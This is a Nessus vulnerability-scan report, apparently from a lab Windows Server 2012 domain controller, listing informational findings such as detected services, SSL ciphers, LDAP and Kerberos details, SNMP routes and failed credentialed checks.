services over TCP/IP. n/a https://en.wikipedia.org/wiki/LDAP None

21643 None 10.0.2.10tcp 3389SSL Cipher Suites Supported The remote service encrypts communications using SSL.

This plugin detects which SSL ciphers are supported by the 

remote

service for encrypting communications. n/a

https://www.openssl.org/docs/man1.0.2/man1/ciph

ers.html

http://www.nessus.org/u?e17ffced



Here is the list of SSL ciphers supported by the remote server :

Each group is reported per SSL Version.



SSL Version : TLSv12

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)



    Name                          Code             KEX           Auth     Encryption             MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          

SHA1



  High Strength Ciphers (>= 112-bit key)



    Name                          Code             KEX           Auth     Encryption             MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    DHE-RSA-AES128-SHA256         0x00, 0x9E       DH            RSA      AES-GCM(128)           

SHA256

    DHE-RSA-AES256-SHA384         0x00, 0x9F       DH            RSA      AES-GCM(256)           

SHA384

    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           

SHA256

    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-GCM(256)           

SHA384

    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           

SHA1

    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           

SHA1 None

21745 None 10.0.2.10tcp 0OS Security Patch Assessment Failed Errors prevented OS Security Patch Assessment.

OS Security Patch Assessment is not available for this host 

because

either the credentials supplied in the scan policy did not allow

Nessus to log into it or some other problem occurred. Fix the problem(s) so that OS Security Patch Assessment is possible.



The following service errors were logged :



  - Plugin      : smb_login.nasl

    Plugin ID   : 10394

    Plugin Name : Microsoft Windows SMB Log In Possible

    Protocol    : SMB

    Message     : 

It was not possible to log into the remote host via smb (invalid credentials).



None

22964 None 10.0.2.10tcp 80Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or 

by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None

22964 None 10.0.2.10tcp 593Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or 

by

looking at the error message it sends when it receives an HTTP

request. n/a An http-rpc-epmap is running on this port. None

22964 None 10.0.2.10tcp 636Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or 

by

looking at the error message it sends when it receives an HTTP

request. n/a

The service closed the connection without sending any data.

It might be protected by some sort of TCP wrapper. None

22964 None 10.0.2.10tcp 1030Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or 

by

looking at the error message it sends when it receives an HTTP

request. n/a An ncacn_http server is running on this port. None

22964 None 10.0.2.10tcp 3269Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or 

by

looking at the error message it sends when it receives an HTTP

request. n/a

The service closed the connection without sending any data.

It might be protected by some sort of TCP wrapper. None

22964 None 10.0.2.10tcp 5985Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or 

by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None

22964 None 10.0.2.10tcp 47001Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or 

by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None

24260 None 10.0.2.10tcp 80HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP 

protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining 

are enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 404 Not Found




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Content-Type: text/html; charset=us-ascii

  Server: Microsoft-HTTPAPI/2.0

  Date: Fri, 30 Dec 2022 10:58:26 GMT

  Connection: close

  Content-Length: 315

  

Response Body :



None

24260 None 10.0.2.10tcp 5985HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP 

protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining 

are enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 404 Not Found




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Content-Type: text/html; charset=us-ascii

  Server: Microsoft-HTTPAPI/2.0

  Date: Fri, 30 Dec 2022 10:58:26 GMT

  Connection: close

  Content-Length: 315

  

Response Body :



None

24260 None 10.0.2.10tcp 47001HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP 

protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining 

are enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 404 Not Found




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Content-Type: text/html; charset=us-ascii

  Server: Microsoft-HTTPAPI/2.0

  Date: Fri, 30 Dec 2022 10:58:26 GMT

  Connection: close

  Content-Length: 315

  

Response Body :



None

24786 None 10.0.2.10tcp 0Nessus Windows Scan Not Performed with Admin Privileges

The Nessus scan of this host may be incomplete due to insufficient

privileges provided.

The Nessus scanner testing the remote host has been given 

SMB

credentials to log into the remote host, however these 

credentials do

not have administrative privileges. 



Typically, when Nessus performs a patch audit, it logs into the 

remote

host and reads the version of the DLLs on the remote host to 

determine

if a given patch has been applied or not.  This is the method 

Microsoft

recommends to determine if a patch has been applied. 



If your Nessus scanner does not have administrative privileges 

when

doing a scan, then Nessus has to fall back to perform a patch 

audit

through the registry which may lead to false positives 

(especially when

using third-party patch auditing tools) or to false negatives (not 

all

patches can be detected through the registry).

Reconfigure your scanner to use credentials with administrative

privileges.



It was not possible to connect to '\\SERVER2012\ADMIN$' with the supplied 

credentials.



None

25220 None 10.0.2.10tcp 0TCP/IP Timestamps Supported The remote service implements TCP timestamps.

The remote host implements TCP timestamps, as defined by 

RFC1323.  A

side effect of this feature is that the uptime of the remote host 

can

sometimes be computed. n/a http://www.ietf.org/rfc/rfc1323.txt None

25701 None 10.0.2.10tcp 389LDAP Crafted Search Request Server Information Disclosure It is possible to discover information about the remote LDAP server.

By sending a search request with a filter set to 'objectClass=*', 

it

is possible to extract information about the remote LDAP 

server. n/a

[+]-namingContexts:

   |  DC=ACCB6000,DC=com

   |  CN=Configuration,DC=ACCB6000,DC=com

   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

   |  DC=DomainDnsZones,DC=ACCB6000,DC=com

   |  DC=ForestDnsZones,DC=ACCB6000,DC=com

[+]-currentTime:

   |  20221230105800.0Z

[+]-subschemaSubentry:

   |  CN=Aggregate,CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

[+]-dsServiceName:

   |  CN=NTDS Settings,CN=SERVER2012,CN=Servers,CN=Default-First-Site-

Name,CN=Sites,CN=Configuration,DC=ACCB6000,DC=com

[+]-namingContexts:

   |  DC=ACCB6000,DC=com

   |  CN=Configuration,DC=ACCB6000,DC=com

   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

   |  DC=DomainDnsZones,DC=ACCB6000,DC=com

   |  DC=ForestDnsZones,DC=ACCB6000,DC=com

[+]-defaultNamingContext:

   |  DC=ACCB6000,DC=com

[+]-schemaNamingContext:

   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

[+]-configurationNamingContext:

   |  CN=Configuration,DC=ACCB6000,DC=com

[+]-rootDomainNamingContext:

   |  DC=ACCB6000,DC=com

[+]-supportedControl: None

25701 None 10.0.2.10tcp 3268LDAP Crafted Search Request Server Information Disclosure It is possible to discover information about the remote LDAP server.

By sending a search request with a filter set to 'objectClass=*', 

it

is possible to extract information about the remote LDAP 

server. n/a

[+]-namingContexts:

   |  DC=ACCB6000,DC=com

   |  CN=Configuration,DC=ACCB6000,DC=com

   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

   |  DC=DomainDnsZones,DC=ACCB6000,DC=com

   |  DC=ForestDnsZones,DC=ACCB6000,DC=com

[+]-currentTime:

   |  20221230105800.0Z

[+]-subschemaSubentry:

   |  CN=Aggregate,CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

[+]-dsServiceName:

   |  CN=NTDS Settings,CN=SERVER2012,CN=Servers,CN=Default-First-Site-

Name,CN=Sites,CN=Configuration,DC=ACCB6000,DC=com

[+]-namingContexts:

   |  DC=ACCB6000,DC=com

   |  CN=Configuration,DC=ACCB6000,DC=com

   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

   |  DC=DomainDnsZones,DC=ACCB6000,DC=com

   |  DC=ForestDnsZones,DC=ACCB6000,DC=com

[+]-defaultNamingContext:

   |  DC=ACCB6000,DC=com

[+]-schemaNamingContext:

   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com

[+]-configurationNamingContext:

   |  CN=Configuration,DC=ACCB6000,DC=com

[+]-rootDomainNamingContext:

   |  DC=ACCB6000,DC=com

[+]-supportedControl: None

26917 None 10.0.2.10tcp 445Microsoft Windows SMB Registry : Nessus Cannot Access the Windows RegistryNessus is not able to access the remote Windows Registry.

It was not possible to connect to PIPE\winreg on the remote 

host.



If you intend to use Nessus to perform registry-based checks, 

the

registry checks will not work because the 'Remote Registry 

Access'

service (winreg) has been disabled on the remote host or can 

not be

connected to with the supplied credentials. n/a

Could not connect to the registry because:

Could not connect to \winreg None

33139 None 10.0.2.10tcp 5985WS-Management Server Detection The remote web server is used for remote management.

The remote web server supports the Web Services for 

Management

(WS-Management) specification, a general web services 

protocol based

on SOAP for managing systems, applications, and other such 

entities. Limit incoming traffic to this port if desired.

https://www.dmtf.org/standards/ws-man

https://en.wikipedia.org/wiki/WS-Management



Here is some information about the WS-Management Server :



  Product Vendor  : Microsoft Corporation

  Product Version : OS: 0.0.0 SP: 0.0 Stack: 3.0



None

34022 None 10.0.2.10udp 161SNMP Query Routing Information Disclosure The list of IP routes on the remote host can be obtained via SNMP.

It is possible to obtain the routing information on the remote 

host

by sending SNMP requests with the OID 1.3.6.1.2.1.4.21



An attacker may use this information to gain more knowledge 

about the

network topology.

Disable the SNMP service on the remote host if you do not use it, or

filter incoming UDP packets going to this port.



10.0.2.0/255.255.255.0

10.0.2.10/255.255.255.255

10.0.2.255/255.255.255.255

127.0.0.0/255.0.0.0

127.0.0.1/255.255.255.255

127.255.255.255/255.255.255.255

224.0.0.0/240.0.0.0

255.255.255.255/255.255.255.255



None

35296 None 10.0.2.10udp 161SNMP Protocol Version Detection

This plugin reports the protocol version negotiated with the remote

SNMP agent.

By sending an SNMP 'get-next-request', it is possible to 

determine the

protocol version of the remote SNMP agent.

Disable the SNMP service on the remote host if you do not use it, or

filter incoming UDP packets going to this port. https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol



Nessus has negotiated SNMP communications at SNMPv2c.



None

35716 None 10.0.2.10tcp 0Ethernet Card Manufacturer Detection The manufacturer can be identified from the Ethernet OUI.

Each ethernet MAC address starts with a 24-bit Organizationally 

Unique Identifier (OUI). These OUIs are registered by IEEE. n/a

https://standards.ieee.org/faqs/regauth.html

http://www.nessus.org/u?794673b4



The following card manufacturers were identified :



08:00:27:7F:6E:8C : PCS Systemtechnik GmbH



None

40448 None 10.0.2.10udp 161SNMP Supported Protocols Detection

This plugin reports all the protocol versions successfully negotiated

with the remote SNMP agent.

Extend the SNMP settings data already gathered by testing for\

SNMP versions other than the highest negotiated. n/a

This host supports SNMP version SNMPv1.

This host supports SNMP version SNMPv2c.



None

43829 None 10.0.2.10tcp 88Kerberos Information Disclosure The remote Kerberos server is leaking information.

Nessus was able to retrieve the realm name and/or server time 

of the

remote Kerberos server. n/a



Nessus gathered the following information :



  Server time  : 2022-12-30 10:56:00 UTC

  Realm        : ACCB6000.COM



None

45410 None 10.0.2.10tcp 3389SSL Certificate 'commonName' Mismatch

The 'commonName' (CN) attribute in the SSL certificate does not match

the hostname.

The service running on the remote host presents an SSL 

certificate for

which the 'commonName' (CN) attribute does not match the 

hostname on

which the service listens.

If the machine has several names, make sure that users connect to 

the

service through the DNS hostname that matches the common name 

in the

certificate.



The host name known by Nessus is :



  server2012



The Common Name in the certificate is :



  server2012.accb6000.com



None

45590 None 10.0.2.10tcp 0Common Platform Enumeration (CPE)

It was possible to enumerate CPE names that matched on the remote

system.

By using information obtained from a Nessus scan, this plugin 

reports

CPE (Common Platform Enumeration) matches for various 

hardware and

software products found on a host. 



Note that if an official CPE is not available for the product, this

plugin computes the best possible CPE based on the 

information

available from the scan. n/a

http://cpe.mitre.org/

https://nvd.nist.gov/products/cpe



The remote operating system matched the following CPE : 



  cpe:/o:microsoft:windows_server_2012:r2::datacenter -> Microsoft Windows 

Server 2012



None

51891 None 10.0.2.10tcp 3389SSL Session Resume Supported The remote host allows resuming SSL sessions.

This script detects whether a host allows resuming SSL sessions 

by

performing a full SSL handshake to receive a session ID, and 

then

reconnecting with the previously used session ID.  If the server

accepts the session ID in the second connection, the server 

maintains

a cache of sessions that can be resumed. n/a



This port supports resuming TLSv1 / TLSv1 / TLSv1 sessions.



None


